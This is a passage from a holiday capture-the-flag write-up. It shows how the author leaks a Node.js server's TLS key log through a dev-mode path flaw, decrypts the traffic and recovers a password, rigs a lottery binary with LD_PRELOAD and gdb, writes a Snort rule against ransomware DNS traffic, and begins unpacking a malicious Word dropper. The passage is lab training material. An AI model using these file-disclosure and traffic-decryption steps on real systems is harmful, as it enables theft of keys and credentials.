<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.iframe-transport.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.fileupload.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/custom.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/xss.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/loader.js"></script>

That's kind of odd: the website loads some JavaScript files. What's odd is that it connects to the packalyzer website using HTTPS, but on the TCP port 80, which is usually used for plaintext HTTP. Let's investigate a little bit more on this port. Let's try to see the content of the /pub/ directory:

$ curl 'https://packalyzer.kringlecastle.com:80/pub/'
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

Huh, we didn't get the same error message as before. Here, we can see that we're communicating with an nginx server.

What is most likely happening here is that there are two webservers:

One listening on TCP/443, which runs the Node.js application.
One listening on TCP/80, which is most likely an nginx reverse proxy that serves static files to the web application.

That's interesting, maybe we can use the nginx reverse proxy to download the server's SSL key. I tried several ideas, such as doing a path traversal to try and download the SSL key, but it didn't work. So what other files can we try to download. One of the most important files in a Node.js application is the app.js file, which holds most of the application logic. Let's try to download it:

$ curl 'https://packalyzer.kringlecastle.com:80/app.js'
#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const cookie = require('koa-cookie');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
[snip]

It works! Here's the full file. (There was some binary content in the middle of the file that I removed):

#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const cookie = require('koa-cookie');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
require('events').EventEmitter.defaultMaxListeners = Infinity;
const log = console.log;
const print = log;
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};

//==================================
//Standard Mongoose Connection Stuff
//==================================
const app = new koa();
const router = new Router();
router.use(cookie.default());
app.use(router.routes()).use(router.allowedMethods());
mongoose.connect('mongodb://localhost:27017/packalyzer',{ useNewUrlParser: true });
const Schema = mongoose.Schema;
const userSchema = new Schema({
  name: { type: String, required: true, unique: true },
  email: { type: String, required: true, unique: true },
  password: { type: String, required: true },
  is_admin: { type: Boolean, required: true },
  captures: { type: Array, required: true },
});
const Users = mongoose.model('Users', userSchema);
//Sets Users to be allowed to sniff or just admins
const Allow_All_To_Sniff = true;

//==================================
//Standard Mongoose Connection Stuff
//==================================

Array.prototype.clean = function(deleteValue) {
  for (var i = 0; i < this.length; i++) {
      if (this[i] == deleteValue) {
      this.splice(i, 1);
      i--;
      }
  }
  return this;
};
var uniqueArray = function(arrArg) {
  return arrArg.filter(function(elem, pos,arr) {
    return arr.indexOf(elem) == pos;
  });
};
function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

const api_functions = {
    'login':login,
    'logout':logout,
    'users':find_users,
    'register':register,
    'upload':upload,
    'list':list_caps,
    'delete':delete_caps,
    'sniff':sniff_traffic,
    'process':start_process,
  }
  const api_function = async (ctx, next) => {
    var Session = await sessionizer(ctx);
    const action = ctx.params.action;
    if ((Session.authenticated && Object.keys(api_functions).includes(action)) || ['login','register','users'].includes(action) ) {
      if (typeof api_functions[action] === 'function') {
        try{
          await api_functions[action](ctx, next, Session);
        } catch (e) {
          log(e)
          ctx.status=500;
          ctx.body=e.toString();
        }
      } else {
        ctx.body='Not Found';
      }
    } else {
      ctx.status=401;
      ctx.body='Unauthorized';
    }
    await next();
  }
  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    split_path.shift();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    }
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.status=404;
    ctx.body='Not Found';
    }
} catch (e) {
    ctx.body=e.toString();
}
});

router
.get('/api/:action', async (ctx, next) => {
await api_function(ctx, next)
})
.post('/api/:action', koaBody({ multipart: true }), async (ctx, next) => {
await api_function(ctx, next)
})

const server = http2.createSecureServer(options, app.callback());
server.listen(443);

What can we learn from this source code:

Line 26: the application is running in dev mode
Line 27: the key_log_path variable holds the path to the SSL secrets used by the server
Line 27: the process.env contains the path to the SSL secrets file
Lines 86-88: in dev mode, every directory that is in the process.env variable is potentially accessible via the webserver.
Lines 132, 140: if we access https://packalyzer.kringlecastle.com/secret_directory/secret_file, the webserver will use the value of process.env.secret_directory as the name of our folder to get the secret_file.

This last point is interesting. Since process.env contains the path to the SSL secrets, we can try to use this automatic resolution to get the content of key_log_path. First let's try to resolve the process.env.SSLKEYLOGFILE variable:

$ curl 'https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/'
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/

So, the value of this variable seems to be packalyzer_clientrandom_ssl.log. We can now access the file. We use the same trick as before to resolve the process.env.DEV variable:

$ curl 'https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log'
CLIENT_RANDOM D5DFF2B39A827877C64457B9F246A2BC05869EDA679F2167692ACB36480AABB4 B6B4C39A3161566566E6291030EDEBA1F91511B8513F07CBE4A159022F497A1AEB18821887B51FDC1764F2219DEFC001
CLIENT_RANDOM BBEE641A4FB1B77D8D23FE324649B02E30B024BEA322D61CC77F2A1A5A6423C7 6289BBAFD1DF5C23CCC68C6E579D71E1D18416F2D0CEB05351E10A7C27A22FEDC66221C33DFCC908490C0EBBF9BF8F97
CLIENT_RANDOM 1C7E42420FBC79D157D86366DB1907CEC1D27343893647AF60D72CD4913825FE AEBC249465A01BA3A8D30E1FEB665CA0128A4F1BAC14D809F1B1F6F38F7B2423FFBC45E1402CA65E8B746174716F9B89
CLIENT_RANDOM 0E21203AE0707D515D46EF381CB7E04729110B18BF8DBE8EE8C6AA2D7F1A3742 C3461766C26A9209F1F248C4C7FA9A5E588A9E7933697D7F586D3380B187A344B04EB41C9232207008E54D9E4EAF53F8
CLIENT_RANDOM 2E6C446BACF3F740DA5DFB31BC922138C49B13C6DD522C770F81339D0582085A 90E48FE08378BB0E6569CB27547E8AAF724726289AE86188483A8C4D7B76A52DCA0598BBD8FF78E5F70CFDEA02208859
[snip]

Awesome, we get the SSL secrets of the webserver. We can use this to decrypt our sniffed traffic. Here's what we'll do:

We'll sniff 20 seconds of traffic.
We'll quickly download the SSl secrets file, because it will most likely contain the secrets for our sniffed traffic.

Here's my capture file, and here's my SSL secrets file. Now, let's open up Wireshark, so that we can decrypt the traffic. I found these slides that explain how you can configure Wireshark to use our SSL secrets:

Awesome, we now have decrypted the HTTP/2 traffic to the website. If we look around, we see a login request:

We found Alabaster's password to the packalyzer, alabaster:Packer-p@re-turntable192. Let's connect to the web site with these credentials, and see what capture files he has accessible:

Hmmm, super_secret_packet_capture.pcap, sounds interesting! You can download it here. Let's open it in Wireshark:

We can see some SMTP traffic. Let's follow the TCP stream to get a clearer picture:

220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-mail.kringlecastle.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"

------=_MIME_BOUNDARY_000_11181
Content-Type: text/plain

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment

JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4
IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKOSAwIG9iago8PCAv
[snip]
2zMAAFMTA30KZW5kc3RyZWFtCmVuZG9iagogICAgICAgICAgICAgICAgICAgICAgICAgICAgIApz
dGFydHhyZWYKMjE2CiUlRU9GCg==

------=_MIME_BOUNDARY_000_11181--


.

250 2.0.0 Ok: queued as 4CF931B5C3C0
QUIT
221 2.0.0 Bye

We get a mail from Molly Evergreen with an attached document that explains music transposition. Let's copy/paste the base64 encoded document and decode it:

$ base64 -d < attachment.b64 > attachment
$ file attachment
attachment: PDF document, version 1.5
$ mv attachment music_transposition.pdf

We get a PDF file. Here's what it says:

A piano keyboard gives us easy access to every (western) tone. As we go from left to right, the pitches get higher. Pressing the middle A, for example, would give us a tone of 440 Hertz. Pressing the next A up (to the right) gives us 880 Hz, while the next one down (left) produces 220 Hz. These A tones each sound very similar to us - just higher and lower. Each A is an "octave" apart from the next. Going key by key, we count 12 "half tone" steps between one A and the next - 12 steps in an octave.

As you may have guessed, elf (and human) ears perceive pitches logarithmically. That is, the frequency jump between octaves doubles as we go up the keyboard, and that sounds normal to us. Consequently, the precise frequency of each note other than A can only be cleanly expressed with a log base 12 expression. Ugh! For our purposes though, we can think of note separation in terms of whole and half steps.

Have you noticed the black keys on the keyboard? They represent half steps between the white keys. For example, the black key between C and D is called C# (c-sharp) or Db (d-flat). Going from C to D is a whole step, but either is a half step from C#/Db. Some white keys don’t have black ones between them. B & C and E & F are each only a half step apart. Why? Well, it turns out that our ears like it that way. Try this: press C D E F G A B C on a piano. It sounds natural, right? The "C major" scale you just played matches every other major scale:

whole step from C to D

whole step from D to E

half step from E to F

whole step from F to G

Whole step from G to A

Whole step from A to B, and finally

Half step from B to C

If you follow that same pattern (whole whole half whole whole whole half), you can start from any note on the keyboard and play a major scale. So a Bb major scale would be Bb C D Eb F G A Bb. You can get this by counting whole and half steps up from Bb or by taking each note in the C major scale and going down a whole step.

This uniform shifting of tones is called transposition. This is done all the time in music because of differences in how instruments are designed, the sound an arranger wants to achieve, or the comfortable vocal range of a singer. Some elves can do this on the fly without really thinking, but it can always be done manually, looking at a piano keyboard.

To look at it another way, consider a song "written in the key of Bb." If the musicians don’t like that key, it can be transposed to A with a little thought. First, how far apart are Bb and A? Looking at our piano, we see they are a half step apart. OK, so for each note, we’ll move down one half step. Here’s an original in Bb:

D C Bb C D D D C C C D F F D C Bb C D D D D C C D C Bb

And take everything down one half step for A:

C# B A B C# C# C# B B B C# E E C# B A B C# C# C# C# B B C# B A

We’ve just taken Mary Had a Little Lamb from Bb to A!

So, the song in the document is "Mary Had a Little Lamb"!

Ransomware Recovery

Shiny Upatree's Cranberry Pi Challenge

We must win Shiny Upatree's lottery.

I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
  But just one elf,
  Pulls off the shelf,
The bells to hang on Santa's sleigh!
Please call me Shinny Upatree
I write you now, 'cause I would be
  The one who gets -
  Whom Santa lets
The bells to hang on Santa's sleigh!
But all us elves do want the job,
Conveying bells through wint'ry mob
  To be the one
  Toy making's done
The bells to hang on Santa's sleigh!
To make it fair, the Man devised
A fair and simple compromise.
  A random chance,
  The winner dance!
The bells to hang on Santa's sleigh!
Now here I need your hacker skill.
To be the one would be a thrill!
  Please do your best,
  And rig this test
The bells to hang on Santa's sleigh!
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@04895b80b092:~$

So, let's see this lottery:

elf@04895b80b092:~$ ls
gdb  objdump  sleighbell-lotto
elf@04895b80b092:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 4526!
Sorry - better luck next year!

Hmm, let's try again:

elf@04895b80b092:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 9478!
Sorry - better luck next year!

So, we draw a random number, and we're supposed to get 1225.

Yannick's (dirty) solution

If you remember, we had a similar challenge in last year's Holiday Hack. We can create a fake C library and then use the LD_PRELOAD trick to change the behaviour of the rand function. Let's check that the sleighbell-lotto uses rand:

elf@04895b80b092:~$ ./objdump -d ./sleighbell-lotto  | grep -i rand
00000000000009a0 <srand@plt>:
 9a0:   ff 25 0a 76 20 00       jmpq   *0x20760a(%rip)        # 207fb0 <srand@GLIBC_2.2.5>
00000000000009c0 <rand@plt>:
 9c0:   ff 25 fa 75 20 00       jmpq   *0x2075fa(%rip)        # 207fc0 <rand@GLIBC_2.2.5>
    1505:       e8 96 f4 ff ff          callq  9a0 <srand@plt>
    1520:       e8 9b f4 ff ff          callq  9c0 <rand@plt>

Alright, it seems to do so. Let's create our fake library. Trouble is, there's no gcc on the elf terminal. So let's generate this library on our own computer, and then copy it to the elf terminal:

$ cat hijack_rand.c
int rand()
{
    return 1225;
}
$ gcc -o hijack_rand.so -shared -fPIC ./hijack_rand.c
$ base64 ./hijack_rand.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAoAQAAAAAAABAAAAAAAAAABAXAAAAAAAAAAAAAEAAOAAH
AEAAGAAXAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAYAAAAAAAA0BgAAAAAAAAAA
IAAAAAAAAQAAAAYAAACADgAAAAAAAIAOIAAAAAAAgA4gAAAAAACgAQAAAAAAAKgBAAAAAAAAAAAg
AAAAAAACAAAABgAAAJAOAAAAAAAAkA4gAAAAAACQDiAAAAAAAFABAAAAAAAAUAEAAAAAAAAIAAAA
AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
[snip]

Now, let's copy the base64 in the elf terminal:

elf@04895b80b092:~$ echo "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAoAQAAAAAAABAAAAAAAAAABAXAAAAAAAAAAAAAEAAOAAH
> AEAAGAAXAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAYAAAAAAAA0BgAAAAAAAAAA
> IAAAAAAAAQAAAAYAAACADgAAAAAAAIAOIAAAAAAAgA4gAAAAAACgAQAAAAAAAKgBAAAAAAAAAAAg
> AAAAAAACAAAABgAAAJAOAAAAAAAAkA4gAAAAAACQDiAAAAAAAFABAAAAAAAAUAEAAAAAAAAIAAAA
> [snip]
> CAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAANAUAAAAAAAAfAEAAAAAAAAA
> AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABMFgAAAAAAAMMA
> AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" > ./hijack_rand.so.b64
elf@bb438504d48c:~$ base64 -d < ./hijack_rand.so.b64 > ./hijack_rand.so
elf@bb438504d48c:~$ LD_PRELOAD="./hijack_rand.so" ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 1225!

                                                     .....          ......
                                     ..,;:::::cccodkkkkkkkkkxdc;.   .......
                             .';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
                         ':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
                     .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
                  .:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;.     ........
                'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:.          ......
              ;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
            .xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
           .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
           xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
          :olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
       ..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
     ...................,',,:lxkkkkkkkkkkkkkd.
     ..........................';;:coxkkkkk:
        ...............................ckd.
          ...............................
                ...........................
                   .......................
                              ....... ...
With gdb you fixed the race.
The other elves we did out-pace.
  And now they'll see.
  They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.

The "official" solution

As we can see from the congratulation message, and the fact that gdb is present on the elf shell, the official way to solve this challenge is to use gdb. So, let's load the lottery program in gdb:

elf@2ba77dc8fde8:~$ ./gdb -q ./sleighbell-lotto
Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x00000000000014ca <+0>:     push   %rbp
   0x00000000000014cb <+1>:     mov    %rsp,%rbp
   0x00000000000014ce <+4>:     sub    $0x10,%rsp
   0x00000000000014d2 <+8>:     lea    0x56d6(%rip),%rdi        # 0x6baf
   0x00000000000014d9 <+15>:    callq  0x970 <getenv@plt>
   0x00000000000014de <+20>:    test   %rax,%rax
   0x00000000000014e1 <+23>:    jne    0x14f9 <main+47>
   0x00000000000014e3 <+25>:    lea    0x56d6(%rip),%rdi        # 0x6bc0
   0x00000000000014ea <+32>:    callq  0x910 <puts@plt>
   0x00000000000014ef <+37>:    mov    $0xffffffff,%edi
   0x00000000000014f4 <+42>:    callq  0x920 <exit@plt>
   0x00000000000014f9 <+47>:    mov    $0x0,%edi
   0x00000000000014fe <+52>:    callq  0x9e0 <time@plt>
   0x0000000000001503 <+57>:    mov    %eax,%edi
   0x0000000000001505 <+59>:    callq  0x9a0 <srand@plt>
   0x000000000000150a <+64>:    lea    0x583f(%rip),%rdi        # 0x6d50
   0x0000000000001511 <+71>:    callq  0x910 <puts@plt>
   0x0000000000001516 <+76>:    mov    $0x1,%edi
   0x000000000000151b <+81>:    callq  0x960 <sleep@plt>
   0x0000000000001520 <+86>:    callq  0x9c0 <rand@plt>
   0x0000000000001525 <+91>:    mov    %eax,%ecx
   0x0000000000001527 <+93>:    mov    $0x68db8bad,%edx
   0x000000000000152c <+98>:    mov    %ecx,%eax
   0x0000000000001516 <+76>:    mov    $0x1,%edi
   0x000000000000152e <+100>:   imul   %edx
   0x0000000000001530 <+102>:   sar    $0xc,%edx
   0x0000000000001533 <+105>:   mov    %ecx,%eax
   0x0000000000001535 <+107>:   sar    $0x1f,%eax
   0x0000000000001538 <+110>:   sub    %eax,%edx
   0x000000000000153a <+112>:   mov    %edx,%eax
   0x000000000000153c <+114>:   mov    %eax,-0x4(%rbp)
   0x000000000000153f <+117>:   mov    -0x4(%rbp),%eax
   0x0000000000001542 <+120>:   imul   $0x2710,%eax,%eax
   0x0000000000001548 <+126>:   sub    %eax,%ecx
   0x000000000000154a <+128>:   mov    %ecx,%eax
   0x000000000000154c <+130>:   mov    %eax,-0x4(%rbp)
   0x000000000000154f <+133>:   lea    0x5856(%rip),%rdi        # 0x6dac
   0x0000000000001556 <+140>:   mov    $0x0,%eax
   0x000000000000155b <+145>:   callq  0x8f0 <printf@plt>
   0x0000000000001560 <+150>:   mov    -0x4(%rbp),%eax
   0x0000000000001563 <+153>:   mov    %eax,%esi
   0x0000000000001565 <+155>:   lea    0x5858(%rip),%rdi        # 0x6dc4
   0x000000000000156c <+162>:   mov    $0x0,%eax
   0x0000000000001571 <+167>:   callq  0x8f0 <printf@plt>
   0x0000000000001576 <+172>:   lea    0x584a(%rip),%rdi        # 0x6dc7
   0x000000000000157d <+179>:   callq  0x910 <puts@plt>
   0x0000000000001582 <+184>:   cmpl   $0x4c9,-0x4(%rbp)
   0x0000000000001589 <+191>:   jne    0x1597 <main+205>
   0x000000000000158b <+193>:   mov    $0x0,%eax
   0x0000000000001590 <+198>:   callq  0xfd7 <winnerwinner>
   0x0000000000001595 <+203>:   jmp    0x15a1 <main+215>
   0x0000000000001597 <+205>:   mov    $0x0,%eax
   0x000000000000159c <+210>:   callq  0x14b7 <sorry>
   0x00000000000015a1 <+215>:   mov    $0x0,%edi
   0x00000000000015a6 <+220>:   callq  0x920 <exit@plt>
End of assembler dump.

At the highlighted line, we can see that the value of $rbp - 0x4 is compared to 0x4c9. This hex value in decimal is 1225, which is the winning value of the lottery. So this is the comparison that is made between the winning ticket and our randomly drawn ticket. If they're different, the program jumps to main+205 and calls the function sorry. If they're equal, it continues and calls winnerwinner.

Let's put a breakpoint on this comparison, and run the program:

(gdb) b *(main+184)
Breakpoint 1 at 0x1582
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 8093!


Breakpoint 1, 0x0000555555555582 in main ()

Now, we're just before the comparison of our (losing) ticket to 1225. Several options are available. We can directly jump to the call of winnerwinner:

(gdb) j *(main+198)
Continuing at 0x555555555590.
[snip]
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 46) exited normally]

We can also directly modify the memory, so that our ticket has the winning value:

(gdb) x/d ($rbp-0x4)
0x7fffffffe5fc: 8093
(gdb) set *((int *) ($rbp-0x4)) = 1225
(gdb) continue
Continuing.
[snip]
Congratulations! You've won, and have successfully completed this challenge.
[Inferior 1 (process 40) exited normally]

I'm sure there are many more ways to win this lottery, and look forward to read about them in other write-ups!

Snort Rule

In Santa's secret room, we find Alabaster, who is in need of help:

Alabaster says

Help, all of our computers have been encrypted by ransomware!

I came here to help but got locked in 'cause I dropped my "Alabaster Snowball" badge in a rush.

I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!

Unfortunately, the password database I keep on my computer was encrypted, so now I don't have access to any of our systems.

If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!

So, we must stop the ransomware traffic, using the Snort terminal:

  _  __     _             _       _____          _   _
 | |/ /    (_)           | |     / ____|        | | | |
 | ' / _ __ _ _ __   __ _| | ___| |     __ _ ___| |_| | ___
 |  < | '__| | '_ \ / _` | |/ _ \ |    / _` / __| __| |/ _ \
 | . \| |  | | | | | (_| | |  __/ |___| (_| \__ \ |_| |  __/
 |_|\_\_|  |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
             / ____| __/ |          | |
            | (___  |___/  ___  _ __| |_
             \___ \| '_ \ / _ \| '__| __|
             ____) | | | | (_) | |  | |_
            |_____/|_|_|_|\___/|_|_  \__|
               |_   _|  __ \ / ____|
                 | | | |  | | (___
         _____   | | | |  | |\___ \        __
        / ____| _| |_| |__| |____) |      /_ |
       | (___  |_____|_____/|_____/ _ __   | |
        \___ \ / _ \ '_ \/ __|/ _ \| '__|  | |
        ____) |  __/ | | \__ \ (_) | |     | |
       |_____/ \___|_| |_|___/\___/|_|     |_|
============================================================
INTRO:
  Kringle Castle is currently under attacked by new piece of
  ransomware that is encrypting all the elves files. Your
  job is to configure snort to alert on ONLY the bad
  ransomware traffic.
GOAL:
  Create a snort rule that will alert ONLY on bad ransomware
  traffic by adding it to snorts /etc/snort/rules/local.rules
  file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
  Successfully create a snort rule that matches ONLY
  bad DNS traffic and NOT legitimate user traffic and the
  system will notify you of your success.

  Check out ~/more_info.txt for additional information.
elf@4a4351a6045e:~$ cat more_info.txt
MORE INFO:
  A full capture of DNS traffic for the last 30 seconds is
  constantly updated to:
  /home/elf/snort.log.pcap
  You can also test your snort rule by running:
  snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
  This will create an alert file at ~/snort_logs/alert
  This sensor also hosts an nginx web server to access the
  last 5 minutes worth of pcaps for offline analysis. These
  can be viewed by logging into:
  http://snortsensor1.kringlecastle.com/
  Using the credentials:
  ----------------------
  Username | elf
  Password | onashelf
  tshark and tcpdump have also been provided on this sensor.
HINT:
  Malware authors often user dynamic domain names and
  IP addresses that change frequently within minutes or even
  seconds to make detecting and block malware more difficult.
  As such, its a good idea to analyze traffic to find patterns
  and match upon these patterns instead of just IP/domains.

We must create a rule that will match all the ransomware's traffic, and won't match the legitimate users' traffic. We're given access to a website which contains PCAP files with the DNS traffic of the last five minutes.

Let's download some of these PCAP files and see if we can find a common pattern. You can use KringleCastle's website, mentioned herebefore, or you can download some of the PCAP files I had during the challenge:

If we open these PCAP files, we see exclusively TXT DNS traffic. However, you notice rapidly that some of these domains don't seem legitimate. Some of the requests made interrogate a weird looking domain, with some sort of hash as a part of the subdomain, and the TXT answers are extremely long. This is clearly very fishy, and we can easily guess that this is our ransomware traffic.

However, we can't use the source IP address, the destination IP address, or the domain name as IOCs, because they never stay the same. The only constant seems to be this hash, 77616E6E61636F6F6B69652E6D696E2E707331, which is part of the subdomain.

Let's create a Snort rule that will trigger an alert every time we see this hash. I used this website and StackOverflow to determine how to do so:

alert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)

Here's what it means:

alert: create an alert when this rule matches
udp: we only care about UDP traffic
any any -> any any: we look at traffic from any source to any destination. I tried to do some fine tuning here, but I didn't catch every traffic, only the requests made by the ransomware (and not the answers from the server). This is likely overkill and wouldn't work in a true production environment.
msg: the message that will be displayed in our alert
pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/": our alert will only be triggered if it matches this regex. Here, it's a pretty simple regex that only looks if the IOC hash is in the traffic.
metadata: the UDP traffic is DNS
sid, rev: id and revision number of the rule

Let's add this rule at the end of our rule file:

elf@7a674ac839a9:~$ echo -e '\nalert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)' >> /etc/snort/rules/local.rules
elf@7a674ac839a9:~$
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!

Alright, we now have an alert every time the ransomware generates traffic.

Malware Dropper

Now that the ransomware traffic is stopped, Alabaster gives us an archive, which, he supposes, is the initial dropper for the ransomware. We must find the domain it communicates with.

Alabaster says

Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.

Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?

All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.

So, let's extract this archive:

$ 7z -pelves x CHOCOLATE_CHIP_COOKIE_RECIPE.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=fr_FR.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 110699 bytes (109 KiB)

Extracting archive: CHOCOLATE_CHIP_COOKIE_RECIPE.zip
--
Path = CHOCOLATE_CHIP_COOKIE_RECIPE.zip
Type = zip
Physical Size = 110699

Everything is Ok

Size:       113540
Compressed: 110699
$  ls -lh
total 228K
-rw-r--r-- 1 useless useless 111K déc.  17 18:46 CHOCOLATE_CHIP_COOKIE_RECIPE.docm
